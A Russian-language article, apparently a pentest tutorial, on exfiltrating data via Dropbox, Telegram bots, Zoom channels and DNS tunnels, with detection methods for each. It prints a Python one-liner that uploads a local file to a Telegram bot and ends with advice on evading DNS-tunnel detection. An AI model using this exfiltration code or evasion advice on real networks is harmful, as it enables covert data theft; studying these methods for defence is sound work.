Physical Address
304 North Cardinal St.
Dorchester Center, MA 02124
Physical Address
304 North Cardinal St.
Dorchester Center, MA 02124
Эксфильтрация данных — этап тестирования на проникновение, когда атакующий пытается скрытно выгрузить данные из целевой системы за пределы периметра организации. При этом важно не привлечь внимание средств защиты и остаться незамеченным. В сегодняшней статье мы поговорим о разных методах эксфильтрации и средствах борьбы с ними.
В MITRE ATT&CK выделены следующие техники передачи данных, используемые злоумышленниками:
Я рассмотрю несколько наиболее значимых методов эксфильтрации, обсудим, как им противодействует защита и каким образом это противодействие можно обойти при тестировании.
Если говорить о способах эксфильтрации, то, конечно же, загрузка на внешний облачный диск — это наиболее простой способ. Если в корпоративной сети разрешены облачные хранилища, такие как Google Drive, Dropbox, Microsoft OneDrive, их можно использовать для эксфильтрации данных за пределы сетевого периметра и оставаться незамеченным. Атакующему в данном случае не нужно настраивать собственную инфраструктуру.
Например, модуль exfil_dropbox
фреймворка для постэксплуатации PowerShell Empire поддерживает такую возможность «из коробки». Этот модуль использует облачное хранилище Dropbox.
Предположим, у нас есть доступ к удаленному компьютеру в виде сессии PowerShell Empire. Задача — загрузить на облачный сервис Dropbox несколько файлов c рабочего стола.
Загрузка файлов с рабочего стола
Если предварительная настройка API Key сделана верно, после запуска модуля файлы будут загружены по указанному пути в облачный сервис Dropbox.
Загрузка файлов в Dropbox
Однако мир движется вперед, и сейчас многие уже не используют сервисы хостинга файлов: их с успехом заменили мессенджеры, практически в каждом из которых есть возможность использовать диалог как облачное хранилище. То, сколько в чатах того же WhatsApp ходит фотографий паспортов и других персональных данных «по работе», заслуживает отдельной статьи. Кроме того, для нас важно, что у крупных мессенджеров есть веб‑версии, доступные напрямую из браузера. Выгружать данные через них возможно как через браузер (если мы имеем физический доступ к машине), так и автоматически, используя API. Зачастую для этого уже предусмотрена функция загрузки файлов. Например, через Telegram-бота. Делается это всего одним POST-запросом.
import requestsrequests.post("https://api.telegram.org/botBOTTOKEN/sendDocument?chat_id=00000",files={"document":open('Desktop\cypher.jpg','rb')})
В результате файл загружен сразу в автоматическом режиме.
Загруженный файл
В качестве канала выгрузки данных можно воспользоваться функцией загрузки файлов на любых других легитимных ресурсах. Например, она есть на множестве Wiki-проектов и багтрекерах.
Отделить честный пользовательский трафик от злодейской попытки вывести данные через веб — задача непростая. Особенно учитывая, что сейчас почти не осталось ресурсов, которые бы не использовали шифрование. Так что основной инструмент борьбы в этом случае — банальная блокировка внешних ресурсов на периметре организации. Так можно бороться с загрузкой на облачные хранилища или даже заблокировать все мессенджеры и GitHub. Однако это не спасет от выкладывания порезанного на куски шифрованного архива с измененным расширением на какую‑нибудь малоизвестную, но имеющую честную репутацию вики.
Наиболее дешевый и эффективный способ в этом случае — вайтлист интернет‑ресурсов, доступных из корпоративной сети. Однако сейчас очень мало организаций может позволить себе полностью изолировать своих сотрудников от веба. Если такая возможность есть, то можно использовать фильтрующий прокси, что даст пользователям доступ к вебу и обеспечит контроль конечных URL, типов и тел запросов.
Даже если функция загрузки файла недоступна в чистом виде (например, заблокированы все POST-запросы размером больше 1 Мбайт), возможность передавать сообщения в обе стороны при использовании средств автоматизации превращает протокол такого приложения в полноценную среду передачи данных. Рассмотрим в качестве примера приложение Zoom, ставшее очень популярным за время пандемии. Это приложение имеет полноценный REST API. Как в клиенте, так и через API Zoom есть возможность создавать каналы и писать сообщения в них.
На GitHub выложен PoC на Python, представляющий собой шелл, который использует каналы Zoom как среду передачи. Управлять ПК, на котором запущен скрипт, возможно как через API, так и непосредственно из клиента.
Каналы в Zoom
Заметь, этот PoC создан в первую очередь для демонстрации и не учитывает задаваемые Zoom ограничения на количество сообщений и длину одного сообщения.
Важная особенность здесь в том, что API-запросы принимают все серверы Zoom. В том числе даже если запрос идет по IP, без имени хоста. Таким образом, если в процессах компании плотно используется Zoom, противодействовать такому методу сложно, не блокируя доступ к серверам Zoom полностью. Это справедливо и если говорить о выгрузке через другие мессенджеры. Если не знать вызываемый метод API, невозможно отфильтровать выгрузку данных от легитимного трафика мессенджера.
Инкапсуляция данных в тело прикладных протоколов — один из самых распространенных методов эксфильтрации данных и построения туннелей. Так как исходящий DNS-трафик разрешен в большинстве корпоративных сетей, его можно использовать как канал связи между сервером атакующего и скомпрометированным хостом.
В настоящее время существует множество утилит для создания DNS-туннелей: NSTX, DNSCat2, Iodine, TUNS, Dns2TCP, DeNiSe, DNScapy, Heyoka, OzymanDNS, psudp, squeeza, tcp-over-dns. В 2017 году на конференции ZeroNights санкт‑петербургская группа DC 7812 представила расширение Meterpreter, реализующее транспортный канал для контроля над агентом Meterpreter при помощи DNS-туннеля.
Расширение Meterpreter
Есть разные методы обнаружения DNS-туннелирования в сети. Все они основаны на анализе содержимого пакетов DNS, а также количества и частоты DNS-запросов. При эксфильтрации данные кодируются и передаются в виде поддоменов третьего уровня. Длина поддомена, как правило, не превышает 30 символов, соответственно, можно установить правила для блокировки запросов, превышающих этот порог.
Еще один способ — анализ энтропии доменных имен. Как правило, легитимные URL содержат осмысленные части, в то время как закодированные в Base64 данные имеют более высокую энтропию.
Как вариант, можно искать в пакетах записи DNS, которые нехарактерны для легитимного трафика, например CNAME или TXT. Если политика безопасности требует, чтобы все запросы проходили через внутренний сервер DNS, то по нарушениям можно отследить нелегитимный трафик. Однако большинство утилит предназначены для работы даже при пересылке запросов через внутренний DNS. Многие утилиты используют собственные алгоритмы генерации доменных имен, что позволяет обнаруживать туннели по сигнатурам.
Один из основных и наиболее простых методов обнаружения — анализ объема DNS-трафика для конкретного клиентского IP-адреса. Если запросов вдруг заметно больше, чем от других хостов, значит, есть подозрение на эксфильтрацию.
Для скрытия DNS-туннелирования от средств защиты лучше всего использовать самописные инструменты, так как сигнатуры уже созданных утилит есть у вендоров. Кроме того, лучше всего использовать распространенные типы DNS-записей, такие как A и AAAA. Также можно использовать уникальные алгоритмы генерации доменного имени для передачи закодированной информации, чтобы они не превышали определенной длины и имели небольшую энтропию.
Источник: xakep.ru